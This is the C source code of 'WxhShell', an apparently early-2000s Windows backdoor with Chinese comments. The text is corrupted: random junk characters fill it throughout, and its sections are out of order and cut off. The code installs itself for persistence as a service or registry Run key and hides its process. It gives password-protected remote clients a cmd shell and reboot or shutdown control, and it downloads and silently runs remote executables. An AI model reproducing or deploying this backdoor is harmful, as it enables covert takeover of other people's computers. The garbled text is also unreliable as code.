y`2ux+>/ typedef struct Z:Vde^Ih { iz)r.TJ DWORD ExitStatus; ]N;nq DWORD PebBaseAddress; +IWf~|s DWORD AffinityMask; K:kb&W DWORD BasePriority; @'5*jXd ULONG UniqueProcessId; w<zzS:PF* ULONG InheritedFromUniqueProcessId; zb4{nzX= } PROCESS_BASIC_INFORMATION; j%D{z5,nKm iq?T&44& PROCNTQSIP NtQueryInformationProcess; ~wF3$H.@; +> d;%K static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >8x)\'w static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; /d">}%Jn m @lUJY HANDLE hProcess; %#PWD7a\ PROCESS_BASIC_INFORMATION pbi; {\NBNg(Vo I{ki))F HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =
Ezg3$%- if(NULL == hInst ) return 0; xK)<763q> M2R krW# g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); s;E(51V<> g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W}"tf
L8
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); y\(xYB>T @GGQ13Cj( if (!NtQueryInformationProcess) return 0; `IJ)'$pn /OB) \{- hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); )db:jPkwd if(!hProcess) return 0; V~
MsGj Q[aF"5h% if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; yPe9KN_ ,fTC}>s4 CloseHandle(hProcess); >mp Nn m+:JNgX6 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "EA =auN{ if(hProcess==NULL) return 0; %`K{0b HmkxE HMODULE hMod; x7G)^ char procName[255]; 7=yjd)Iy9m unsigned long cbNeeded; w^^l, nd,\<}uP9 if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y<kz+d,C W(Md0* CloseHandle(hProcess); :8`$BbV u"%D; if(strstr(procName,"services")) return 1; // 以服务启动 t#8QyN ZMr[:,Jp return 0; // 注册表启动 EkRx/ } LR!%iP =S6bP<q // 主模块 0UW_ Pbh6 int StartWxhshell(LPSTR lpCmdLine) .w _BA) { NS""][# SOCKET wsl; .Ln98#ZR BOOL val=TRUE; 64'QTF{D int port=0; =qoOr~ struct sockaddr_in door; zHg=K / 7HY8 F5Brx if(wscfg.ws_autoins) Install(); w|6?A- |' JN<? port=atoi(lpCmdLine); 2TQZu3$c %X^qWKix}m if(port<=0) port=wscfg.ws_port; oR!h
eCnu lq]8zm<\)] WSADATA data; rZ5xQ#IA if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \,n
X/f EE | c@M^ if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;$1x_
Cb setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2A =Y door.sin_family = AF_INET; X[dH*PV door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^!i4d)) door.sin_port = htons(port); -{J0~1'#- ?~T(Cue> if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /*BK6hc closesocket(wsl); %Ie,J5g5 return 1; ]q4LNo } ZREy I(_ {Y=k`t, if(listen(wsl,2) == INVALID_SOCKET) { AZ^>osr closesocket(wsl); Anpp`>}N return 1; 6I=xjgwvf } . XbDb Wxhshell(wsl); 8.^`~ta WSACleanup(); N?#L{Yt Zn40NKYc return 0; t2.jg?`k X(17ESQ/Y } \6.dGKK |
2<zYY // 以NT服务方式启动 WBJn1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .HGK 3 { t5S|0/f DWORD status = 0; &'i>d& DWORD specificError = 0xfffffff; \I/"W#\SJo =jpRv<X|, serviceStatus.dwServiceType = SERVICE_WIN32; _*[vKS A& serviceStatus.dwCurrentState = SERVICE_START_PENDING; 3D5adI<aq" serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !>!jLZ0 serviceStatus.dwWin32ExitCode = 0; ubsv\[:C serviceStatus.dwServiceSpecificExitCode = 0; 7bE`P[ serviceStatus.dwCheckPoint = 0; >gq=W5vN( serviceStatus.dwWaitHint = 0; 8'zfq
]g &U=_:]/ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); #nft{AN if (hServiceStatusHandle==0) return; -kP2Brm 9-&@Y status = GetLastError(); TNeL%s?B3 if (status!=NO_ERROR) @"98u$5 { C~K/yLCAi serviceStatus.dwCurrentState = SERVICE_STOPPED; qK@,O\ serviceStatus.dwCheckPoint = 0; y?3u6q++ serviceStatus.dwWaitHint = 0; `('Up? serviceStatus.dwWin32ExitCode = status; Au/'|%2#( serviceStatus.dwServiceSpecificExitCode = specificError; \>EUa}%xn SetServiceStatus(hServiceStatusHandle, &serviceStatus); P, F5Hf return; F.(e}EMyNh } 1cMdoQ 4DP<)KX serviceStatus.dwCurrentState = SERVICE_RUNNING; |a /cw" serviceStatus.dwCheckPoint = 0; %iYro8g!, serviceStatus.dwWaitHint = 0; +!`$( if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Ln+ k_ } *!Gb_!98 ;[g~h |{6 // 处理NT服务事件,比如:启动、停止 A,4}
$-7 VOID WINAPI NTServiceHandler(DWORD fdwControl) =z<sx2#* { `'mRGz7t switch(fdwControl) v$q\3#5|' { .{bT9Sc5 case SERVICE_CONTROL_STOP: s2 aFme serviceStatus.dwWin32ExitCode = 0; i? #U>0! serviceStatus.dwCurrentState = SERVICE_STOPPED; I{H!KrM! serviceStatus.dwCheckPoint = 0; &Q\k`0vzVB serviceStatus.dwWaitHint = 0; [Q6$$z92Q { 7~P!Z=m^^f SetServiceStatus(hServiceStatusHandle, &serviceStatus); $gk=~p| } Aq(, return; w)YTHY(k; case SERVICE_CONTROL_PAUSE: &?y|Pn serviceStatus.dwCurrentState = SERVICE_PAUSED; |\"%Dy[m break; i*09m^r case SERVICE_CONTROL_CONTINUE: ygQAA!&'] serviceStatus.dwCurrentState = SERVICE_RUNNING; +:c}LCI9< break; yd45y}uS;F case SERVICE_CONTROL_INTERROGATE: U}=H1f, break; M3GFKWQI,` }; 6OQ\f,h@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); (f#{<^ gd } )^)|b5, -A:'D8o#f // 标准应用程序主函数 Kl(u~/=6 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~aL?{kb+ { Hb^ovc0 mryT%zSlM // 获取操作系统版本 abEdZ)$ OsIsNt=GetOsVer(); z!~{3M GetModuleFileName(NULL,ExeFile,MAX_PATH); }y*rO(cu7G ?iaO6HD // 从命令行安装 Na.e1A&?j if(strpbrk(lpCmdLine,"iI")) Install(); uIJ
zz4 ?4Zo0DiUB // 下载执行文件 #X5Tt ; if(wscfg.ws_downexe) { N$ 2Iz if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) vDc&m WinExec(wscfg.ws_filenam,SW_HIDE); [{ A5BE - } IY2f$YV 5hAs/i9_ if(!OsIsNt) { :ZM=P3QZ // 如果时win9x,隐藏进程并且设置为注册表启动 @Hp=xC9V HideProc(); +J}h StartWxhshell(lpCmdLine); #so"p<7 R } J+hifO else z KG]7 if(StartFromService()) gvP.\,U // 以服务方式启动 PC!X<C8* StartServiceCtrlDispatcher(DispatchTable); U/rFH9e$ else AIA4c"w.EO // 普通方式启动 b&pL}o?/k StartWxhshell(lpCmdLine); b3-+*5L +gb"}
cN return 0; ~@D!E/hZx } =VZ0+Yl ZQ#AE VI, w/CD- 9v}vCg =========================================== |q_Hiap#a GsE
=5A8 $[(FCS elP#s5l4 %Vsg4DRy ?T[K{t;~jo " M;@/697G `{J(S'a` #include <stdio.h> >9Y0t^Fl #include <string.h> \Q,5Ne'o #include <windows.h> *eUxarI #include <winsock2.h> "LVN:|! #include <winsvc.h> +n<;);h #include <urlmon.h> 45Q#6BtE 0:>C v<N #pragma comment (lib, "Ws2_32.lib") Yp9%u9tNq #pragma comment (lib, "urlmon.lib") _qS4Ns/4s .OF2O} #define MAX_USER 100 // 最大客户端连接数 `%0k\,}V #define BUF_SOCK 200 // sock buffer 8uetv #define KEY_BUFF 255 // 输入 buffer ,aSK L1 >vQKCc|93 #define REBOOT 0 // 重启 lMXLd91 #define SHUTDOWN 1 // 关机 QPsvc6ds k=5v
J72U #define DEF_PORT 5000 // 监听端口 H^w Inkf> l`AA<Rj*O- #define REG_LEN 16 // 注册表键长度 Be0v&Q_NK #define SVC_LEN 80 // NT服务名长度 Dt+uf5o( &-`a` // 从dll定义API )/?s^D$, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); T4"*w typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x*F_XE1#M typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); jX91=78d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); M4}zRr([.5 +0n,>eDjg^ // wxhshell配置信息 d7L|yeb" struct WSCFG { C;rK16cn int ws_port; // 监听端口 xo(3<1mD char ws_passstr[REG_LEN]; // 口令 #TY[\$BHs int ws_autoins; // 安装标记, 1=yes 0=no d0 yZ9-t char ws_regname[REG_LEN]; // 注册表键名 %@[ ~s,6< char ws_svcname[REG_LEN]; // 服务名 .^?Z3iA", char ws_svcdisp[SVC_LEN]; // 服务显示名 + WFa4NZ char ws_svcdesc[SVC_LEN]; // 服务描述信息 @)S d3xw[ char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *
n>YS int ws_downexe; // 下载执行标记, 1=yes 0=no 1BA5| char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P;lDri char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >]l7AZ:, u=!n9W~" }; <o&\/uO~H $PKUcT0N9 // default Wxhshell configuration
Wwo`R5 struct WSCFG wscfg={DEF_PORT, uF\f>E)/N% "xuhuanlingzhe", l#%G~c8x 1, %KmhR2v "Wxhshell", )u_[cEJHO "Wxhshell", ]A dL "WxhShell Service", L@LT *M "Wrsky Windows CmdShell Service", 83YQ c "Please Input Your Password: ", U~[ tp1Z) 1, 1ba* U~OEg "http://www.wrsky.com/wxhshell.exe", ?O#,|\v?] "Wxhshell.exe" V']1j }; $3 ~/H"K !5h@uar // 消息定义模块 I)cA:Ip char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; PsoW:t char *msg_ws_prompt="\n\r? for help\n\r#>"; ++M%PF [
{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z "g6z#L& char *msg_ws_ext="\n\rExit."; 6I$:mHEhd char *msg_ws_end="\n\rQuit."; /c-%+Xd char *msg_ws_boot="\n\rReboot..."; {'eF;!!Dy char *msg_ws_poff="\n\rShutdown..."; ]5i]2r1 char *msg_ws_down="\n\rSave to "; m^ [VM&% S?LUSb char *msg_ws_err="\n\rErr!"; iQ_^MzA char *msg_ws_ok="\n\rOK!"; i?pC[Ao-_ Z%O>|ozpq char ExeFile[MAX_PATH]; wDS(zG int nUser = 0; g7U>G=,;?U HANDLE handles[MAX_USER]; a$P$Ngi?S int OsIsNt; |+(Hia,X ]k.'~Syz SERVICE_STATUS serviceStatus; QDJ:LJz\ SERVICE_STATUS_HANDLE hServiceStatusHandle; w`r)B`!g b R;Wf5 // 函数声明 ,Taq~ int Install(void); ?{*/VJl$ int Uninstall(void); b&Go'C{p int DownloadFile(char *sURL, SOCKET wsh); (J/!9NS: int Boot(int flag); 9$:+5f,%a void HideProc(void); 7[u$!.4{* int GetOsVer(void); Stxrgmu int Wxhshell(SOCKET wsl); H?<ceK'e void TalkWithClient(void *cs); "f<+~ int CmdShell(SOCKET sock); j*}2AI int StartFromService(void); "jG-)k`a int StartWxhshell(LPSTR lpCmdLine); GjvTYg~ $>y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '2.11cM3 VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?3+>% bO :*{\oqFn~$ // 数据结构和表定义 ac??lHtH9 SERVICE_TABLE_ENTRY DispatchTable[] = `SSUQ#@ { rCdf*; {wscfg.ws_svcname, NTServiceMain}, 0vm}[a4+i; {NULL, NULL} JqYt^,,Q: }; n^Sc*7 uA2-&smw // 自我安装 f$^+;j int Install(void) [?Ub =sp { i@XFnt char svExeFile[MAX_PATH]; CHRO9 HKEY key; KdB9Q ; strcpy(svExeFile,ExeFile); (N25.}8Y '=eE6=m^K // 如果是win9x系统,修改注册表设为自启动 <FFaaGiE> if(!OsIsNt) {
Rk.GrLp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vswBK-w(Z RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [v$NxmRu RegCloseKey(key); #[{xEVf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J=qPc}+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bP ,_H RegCloseKey(key); %!e;sL~& return 0; $1$T2'C~+ } ;BMm47< } rCa2$#Z } +O,h<*y else { !%{s[eO\ ^U4|TR6mub // 如果是NT以上系统,安装为系统服务 CD+2
w
cy SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h8lI#Gs if (schSCManager!=0) pe1 _E
KU { rv?d3QqIC SC_HANDLE schService = CreateService ~NtAr1 ( qxe%RYdA'j schSCManager, 8^Ov.$rP wscfg.ws_svcname, j,/t<@S> wscfg.ws_svcdisp, `F<[\@\d5 SERVICE_ALL_ACCESS, E[RLBO[*n SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , T>;Kq;(9 SERVICE_AUTO_START, .wfN.Z SERVICE_ERROR_NORMAL, Z*rA~`@K6 svExeFile, d4#Ra% NULL, d@72z r NULL, ^BFD -p NULL, op%?V: NULL, (\6R"2 NULL dnP3{!"b ); _("&jfn
if (schService!=0) ?w[M{ { YQ+Kl[ec CloseServiceHandle(schService); 8>|@O<2\ CloseServiceHandle(schSCManager); =
5E:C P strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =':,oz^| strcat(svExeFile,wscfg.ws_svcname); }@V,v[&e if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }w)`)N RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U0M>A RegCloseKey(key); HjFY>(e return 0; .{|AHW&0< } !cWnQRIt_F } j>0~"A CloseServiceHandle(schSCManager); <C'S#5,2 } Ay Obaa5 } %Jpb&CEY =!`\=!y return 1; >5jHgs# } mJ%r2$/* ]3E':JM@ // 自我卸载 ;#$zHR int Uninstall(void) 9$xEktfV { plY`lqm HKEY key; > HL8hN'q' =/Dp* if(!OsIsNt) { U&|$B|[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { PUN.nt RegDeleteValue(key,wscfg.ws_regname); q$Ol"K@ RegCloseKey(key); -^(NIl' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { M]>JI'8 RegDeleteValue(key,wscfg.ws_regname); N
-]m <z> RegCloseKey(key); y{eZrX| return 0; }<wj~f([ } R<!WW9IM } B9_0 Yq } JAA P5ur else { _]=` F
l \?} {wh8 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &\C{,:[ if (schSCManager!=0) rr[9sk`^H { bz~-uHC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _l?5GLl_F$ if (schService!=0) f-\l<o( { Zv=p0xH if(DeleteService(schService)!=0) { y^ C;?B< CloseServiceHandle(schService); *4zVK/FJ CloseServiceHandle(schSCManager); "z }bgy return 0; r[$Qtj Q } FVsNOU CloseServiceHandle(schService); z^4\?R50yO } _W:
S>ij( CloseServiceHandle(schSCManager); TBQ`:`g^m } \~ } RU`TzD b>%I=H%g return 1; ^3`98y.Q } s8``U~D is}Fy>9i // 从指定url下载文件 f (
`.q int DownloadFile(char *sURL, SOCKET wsh) )^!-Aj\x { U[S;5xeF.j HRESULT hr; Ze$:-7Czl char seps[]= "/"; 7l Aa6"Y68 char *token; P|.KMtG char *file; 8I C(( char myURL[MAX_PATH]; nm'm*sU\ char myFILE[MAX_PATH]; t:M({|m Y sI`i strcpy(myURL,sURL); #k=!>%+E token=strtok(myURL,seps); ej<z]{`05 while(token!=NULL) Smk]G))o{ { xiRTp:> file=token; 6x@-<{L token=strtok(NULL,seps); N13 <!QQ } CWkm\= No[xf9>t GetCurrentDirectory(MAX_PATH,myFILE); HIhoYSwB strcat(myFILE, "\\"); >[xQUf,p strcat(myFILE, file); I{cn ,,8 send(wsh,myFILE,strlen(myFILE),0); S0=BfkHi. send(wsh,"...",3,0); *OF7{^~& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 4r(rWlM if(hr==S_OK) l}AB):<Z return 0; ^:-%tpB#! else Gz *U?R-T return 1; oS_p/$F, <R{\pz2w } /gFyow1W 6}ax~wYct // 系统电源模块 ur#"f'|- int Boot(int flag) 0l_-
{ ~[9 ]M)=O0 HANDLE hToken; k5xirB_ TOKEN_PRIVILEGES tkp; A)7'\JK7b dbZPt~S'$ if(OsIsNt) { Q|G[9HBI OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '`o+#\,b^% LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m@c2'*&Y tkp.PrivilegeCount = 1; w-nkf
M~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E/GI:}YUy_ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); nMc-kyl{ if(flag==REBOOT) { 9J]LV'f7 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) G>_ZUHdI return 0; cRg$~rYd } nj9hRiLn else { {{DW P-v4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) kD;BwU[ return 0; ]c5GG!E-g } orU4{.e } mU&J,C else { qbAoab53 if(flag==REBOOT) { alu`T
c~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Vfw $>og! return 0; jY?%LY@5I } *smo{!0Gg else { &FanD if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) N]=.I return 0; E{Q^ZSV3B } ZK'I$p]b } 03#_ ( yz+r@I5 return 1; ss2:8up 99 } Aio0++r- "iydXV=Q // win9x进程隐藏模块 vMI \$E& void HideProc(void) o4Ba l^=[ { W@0(Y9jdg '",5Bu#C HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); G![1+2p:Tq if ( hKernel != NULL ) \m.{^Xd~ { 0bd.ess pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0s4j> ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
^Ta"Uk' FreeLibrary(hKernel); 1IsR}uLh } *LhR$(F( )i>KYg w return; >%[W2L\' } 5y~[2jB: UmJg-~ // 获取操作系统版本 B=p'2lla int GetOsVer(void) ><DE1tG { a[JgR /E@x OSVERSIONINFO winfo; u@|yw) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); # \M<6n{ GetVersionEx(&winfo); EagI)W!s[ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Fq3;7Cq=hD return 1; lk'RWy"pw else =Vv{ td return 0; C/$IF M< } L@ay4,e.bz >pYgF=J // 客户端句柄模块 /za,&7sf int Wxhshell(SOCKET wsl) BdYh: { 4q~E\l|.5 SOCKET wsh; &Y&zUfA struct sockaddr_in client; U9q*zP_jV DWORD myID; c*W$wr .KD07 while(nUser<MAX_USER) YJ0[BcZ { [+1
i$d int nSize=sizeof(client); 2,fB$5+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R3<+z if(wsh==INVALID_SOCKET) return 1; $200?[ qnlj~]NV handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); npF[J x[ if(handles[nUser]==0) f0uiNy(r$ closesocket(wsh); ^m7PXY else YUH/tl nUser++; AX)zSr Xn } BOG )JaDW WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xWMMHIu kDKpuA! return 0; 3_ >R's8P } }0TY F,bl>;{[{ // 关闭 socket ,)RdXgCs void CloseIt(SOCKET wsh) B+<k,ad { Q9' p2@Z closesocket(wsh); OwEz(pj@ nUser--; pqe
tYu ExitThread(0); 4M]8po/; } e'`oisJU?q N4:'X6u; // 客户端请求句柄 QJ/SP void TalkWithClient(void *cs) #.@=xhK/ { o6r4tpiR5 uu:)jx i SOCKET wsh=(SOCKET)cs; Dn[1BWM/7 char pwd[SVC_LEN]; p%s
D>1k char cmd[KEY_BUFF]; JjmL6(*ui char chr[1]; 76m[o int i,j; YJy*OS_& HT&0i,` while (nUser < MAX_USER) { 3%} Ma, cm]]9z_< if(wscfg.ws_passstr) { gr;M
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); oxzNV&D[{` //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7I|%GA_ //ZeroMemory(pwd,KEY_BUFF); g U?) i=0; 1 W0; YcT] while(i<SVC_LEN) { 0D'Wr(U( TU/J]'))C // 设置超时 eZ!k'bS= fd_set FdRead; Vo%d;>!G\; struct timeval TimeOut; $o/>wgQY- FD_ZERO(&FdRead); 'GFzI:Xr FD_SET(wsh,&FdRead); >$y
> TimeOut.tv_sec=8; @K9T )p] TimeOut.tv_usec=0; No7Q,p int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y[!a82MTzn if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]Q3Gj@6 8VZ-`?p if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
zCHr pwd=chr[0]; x3Ud0[( if(chr[0]==0xd || chr[0]==0xa) { kslN_\ pwd=0; ;i9CQ0e? break; a3;.{6el)H } V|AE~R^ i++; 1 XG-O } {UcItLjY k@L~h{`Mc\ // 如果是非法用户,关闭 socket Al|7Y/ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ca=e_sg } z7q2+;L (5> ibe send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sYXS#;|M send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e@OA> lQ/XJw while(1) { `y}d)"! q8Dwu3D ZeroMemory(cmd,KEY_BUFF); i7rq;t< lIz_0rE // 自动支持客户端 telnet标准 ))`Zv=y" j=0; 9^u?v`!
while(j<KEY_BUFF) { x/=j$oA if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >v[(w1?rX cmd[j]=chr[0]; ]D%k)<YK if(chr[0]==0xa || chr[0]==0xd) { N-gRfra+8L cmd[j]=0; 6<Z:Xw break; $J6.a!5IE } .jp]S4~ j++; \#aVu^`eX } ?^~"x.<nr ~t={ \,X\ // 下载文件 NJ>p8P`_k if(strstr(cmd,"http://")) { oui!fTy send(wsh,msg_ws_down,strlen(msg_ws_down),0); D,\=zX; if(DownloadFile(cmd,wsh)) pr txE&- send(wsh,msg_ws_err,strlen(msg_ws_err),0); k`TJ<Dv; else >|)0Amt send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ImY.HB^& } d8HB2c5y0i else { t\i1VXtO m]\zt switch(cmd[0]) { SbZt\a 8 u4@e=vWI // 帮助 cA?
x( case '?': { |L;psK send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xV#a(>-4 break; Hc]1mM } AxlFU~E4 // 安装 GYC&P] case 'i': { #OWs3$9
if(Install()) (0W}e(D8
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jJZsBOW[8 else 8%<`$`FyU send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8/"|VE DOr break; 7Zt\G-QV } gvNZrp>e! // 卸载 -j_I_ case 'r': { R*Z] if(Uninstall()) |xZcT4 send(wsh,msg_ws_err,strlen(msg_ws_err),0); mE`qvavP|/ else ^,lZ58
2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {X<4wxeTo break; xn@0pL3B~ } T[-c| // 显示 wxhshell 所在路径 ]M;6o@hq case 'p': { q9Sz7_K char svExeFile[MAX_PATH]; .vS6_ strcpy(svExeFile,"\n\r"); 1?|6odc strcat(svExeFile,ExeFile); b$O_L4CP send(wsh,svExeFile,strlen(svExeFile),0);
vt@Us\fI break; `t0f L\T } j yRSEk$ // 重启 =nx:GT3&[ case 'b': { H'{?aaK|t send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [!@oRK=~ if(Boot(REBOOT)) :z.Y$]F@ send(wsh,msg_ws_err,strlen(msg_ws_err),0); drKjLo[y else { 9xn23*Fo closesocket(wsh); ceZ8}Sh ExitThread(0); K3:|Tc( } t*d >eK`:N break; neh;`7~5@K } H:-A; f!Z // 关机 oNB,.: case 'd': { ?[VpN2* send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e j%;%`C- if(Boot(SHUTDOWN)) ^Wfgwmh send(wsh,msg_ws_err,strlen(msg_ws_err),0); IT`=\K/[4 else { kt{C7qpD closesocket(wsh); !UoU#YU ExitThread(0); Zknewv*sS4 } 8a`+h# break; !I5~))E } RP,:[}mPl // 获取shell knOnUU case 's': { ,p!B"#
ot CmdShell(wsh); 030U7 VT1 closesocket(wsh); ~sIGI?5f ExitThread(0); [z% ?MIT break; zk5=Opmvh } O R<"LTCL // 退出 4su_;+] case 'x': { s`=/fvf. send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~r^5-\[hZ CloseIt(wsh); LuP?$~z break; hiRR+`L% } cZr G:\A // 离开 hyb +#R case 'q': { Q"|kW[Sg send(wsh,msg_ws_end,strlen(msg_ws_end),0); $iqi:vY closesocket(wsh); %gu$_S WSACleanup(); )p<fL exit(1); AB"1(PbG break; 3`k[!! } ?,:#8.9 } NdsX*o@a } ?orh JS vZE|Z[M+< // 提示信息 9G#8%[W if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b>QM~mq3^I } +z|UpI } jefNiEE[ -
LiPHHX< return; LMFK3Gd[ } ^+.t-3|U OyJsz]b} M // shell模块句柄 _7lt(f[S int CmdShell(SOCKET sock) HX3D*2v": { ],\sRQbv& STARTUPINFO si; wKk
3)@il ZeroMemory(&si,sizeof(si)); >wKu6-
]a si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O[IR| si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; q*[!>\Z8 PROCESS_INFORMATION ProcessInfo; NTm<6Is` char cmdline[]="cmd"; RQ^m6)BTo CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CYt jY~ return 0; |
"Jx } .QXG"R >'aG/( // 自身启动模式 d$fvg8^ int StartFromService(void) X<~k =qwA { 7-".!M typedef struct 6[*;M { SqXy;S@ DWORD ExitStatus; %'L].+$t DWORD PebBaseAddress; |Bx||=z` DWORD AffinityMask; eQU-&-wt0 DWORD BasePriority; Q`S iV ULONG UniqueProcessId; 1mHwYT+ ULONG InheritedFromUniqueProcessId;
ofMu3$Q } PROCESS_BASIC_INFORMATION; ZD5I5 By?nd) PROCNTQSIP NtQueryInformationProcess; 7~wFU*P1 P>*Fj4Z~ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }+Rgx@XZ\ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s,
